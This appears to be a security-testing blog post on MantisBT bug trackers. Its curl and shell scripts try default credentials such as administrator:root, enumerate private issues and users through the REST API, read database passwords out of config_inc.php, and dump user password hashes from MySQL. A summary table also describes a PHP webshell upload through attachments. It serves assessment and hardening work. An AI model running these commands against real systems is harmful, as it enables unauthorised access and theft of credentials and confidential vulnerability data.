Bug Tracker Security Testing

MantisBT Security Testing: Default Credentials, API Token, Database, and config_inc.php

📅 July 3, 2026 ⏱ 11 min read 🏷 MantisBT, Bug Tracker Security, Default Credentials, REST API, config_inc.php MySQL, File Upload, SOAP API

Default Credentials and API Token Testing

# MantisBT — default credentials and API token testing
MANTIS_URL="https://bugs.example.com"

# Default credentials: administrator / root (also try admin/admin, administrator/administrator)
curl -s -c /tmp/mantis_sess -b /tmp/mantis_sess \
  -X POST "${MANTIS_URL}/login.php" \
  --data "username=administrator&password=root&return=index.php&secure_session=on" \
  -L 2>/dev/null | grep -i "my view\|welcome\|logged in\|invalid" | head -3

# REST API authentication — Bearer token (MantisBT 2.x+)
# API tokens generated at Profile > API Tokens
curl -s "${MANTIS_URL}/api/rest/version" \
  -H "Authorization: YOUR_API_TOKEN" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'MantisBT version: {d}')
" 2>/dev/null

# Test with common credentials via API
for CREDS in "administrator:root" "admin:admin" "administrator:administrator"; do
  USER="${CREDS%:*}"
  PASS="${CREDS#*:}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${MANTIS_URL}/api/rest/projects" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${CREDS}: HTTP ${STATUS}"
done

# Check if anonymous access is enabled (many old MantisBT installs allow this)
curl -s -o /dev/null -w "%{http_code}" \
  "${MANTIS_URL}/api/rest/projects" 2>/dev/null
# 200 = anonymous API access enabled (information disclosure)

REST API Issue and Project Enumeration

# MantisBT REST API — issue and project enumeration
MANTIS_URL="https://bugs.example.com"
API_TOKEN="your-mantis-api-token"

# List all accessible projects
curl -s "${MANTIS_URL}/api/rest/projects" \
  -H "Authorization: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('projects',[])
print(f'Projects: {len(projects)}')
for p in projects:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} view_state={p.get(\"view_state\",{}).get(\"label\")} enabled={p.get(\"enabled\")}')
    for sub in p.get('subprojects',[]):
        print(f'    └── [{sub.get(\"id\")}] {sub.get(\"name\")}')
" 2>/dev/null

# Get all issues — includes private/confidential bugs visible to admin
PROJECT_ID="1"
curl -s "${MANTIS_URL}/api/rest/issues?project_id=${PROJECT_ID}&page_size=100&page=1" \
  -H "Authorization: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d.get('issues',[])
print(f'Issues in project ${PROJECT_ID}: {len(issues)}')
for i in issues[:10]:
    print(f'  [#{i.get(\"id\")}] {i.get(\"summary\")} severity={i.get(\"severity\",{}).get(\"label\")} status={i.get(\"status\",{}).get(\"label\")} view_state={i.get(\"view_state\",{}).get(\"label\")}')
" 2>/dev/null

# Get users list — enumerate all MantisBT users
curl -s "${MANTIS_URL}/api/rest/users/me" \
  -H "Authorization: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Current user: {d.get(\"name\")} access={d.get(\"access_level\",{}).get(\"label\")} email={d.get(\"email\")}')
" 2>/dev/null

# SOAP API (older MantisBT versions still expose this)
curl -s "${MANTIS_URL}/api/soap/mantisconnect.php?wsdl" 2>/dev/null | \
  grep -i "portType\|operation" | head -10
# If WSDL returns content, SOAP API is active

config_inc.php Credentials and File Upload Testing

# MantisBT config_inc.php and file upload security testing

# config_inc.php — MySQL database credentials in plaintext PHP
cat /var/www/html/mantisbt/config_inc.php 2>/dev/null | \
  grep -E "g_db_pass|g_db_username|g_hostname|g_database_name|g_crypto_master_salt"
# $g_db_pass = 'MySQL_Password';
# $g_crypto_master_salt — used for password hashing; exposure enables precomputed attacks

# Configuration files in mantis directory
cat /var/www/html/mantisbt/config/config_inc.php 2>/dev/null | \
  grep -E "db_pass|db_username|hostname|database_name"

# MySQL direct access — user accounts with bcrypt password hashes
mysql -u mantis -p"DB_PASSWORD" bugtracker 2>/dev/null << 'EOF'
SELECT id, username, email, access_level, enabled, date_created, password
FROM mantis_user_table
WHERE enabled = 1
ORDER BY access_level DESC, id
LIMIT 20;
EOF
# password — bcrypt hash; access_level 90 = administrator

# File upload directory — check if PHP execution is possible
# MantisBT stores attachments in upload_path (configured in config_inc.php)
UPLOAD_PATH=$(grep "g_absolute_path_default_upload_folder\|upload_path" \
  /var/www/html/mantisbt/config_inc.php 2>/dev/null | head -3)
echo "Upload path: $UPLOAD_PATH"

# Check if upload directory is web-accessible and PHP-executable
# Default upload path may be /var/www/html/mantisbt/uploads/
curl -s -o /dev/null -w "%{http_code}" \
  "${MANTIS_URL}/uploads/" 2>/dev/null
# 200/403 = potentially web-accessible; test PHP execution separately

MantisBT Security Hardening

Security Test	Method	Risk
Default administrator/root credential exploitation	POST /login.php with administrator:root — full admin access; all projects, all issues including private/confidential security vulnerabilities, all user accounts, system configuration, and file attachments	Critical
REST API private issue enumeration	GET /api/rest/issues?project_id=X with admin token — all issues including private bugs tagged as security vulnerabilities; may expose unpatched vulnerability details and customer security reports	Critical
config_inc.php MySQL credential extraction	Read config_inc.php — g_db_pass MySQL password; g_crypto_master_salt enables precomputed attacks on bcrypt password hashes in mantis_user_table	Critical
File upload directory PHP execution	Upload PHP webshell via file attachment, access via web server if upload directory is PHP-executable and web-accessible; OS command execution as web server user	Critical (if misconfigured)
Anonymous API access — unauthenticated issue enumeration	GET /api/rest/projects without auth — if anonymous access enabled, all public project issues are accessible without credentials	High (if enabled)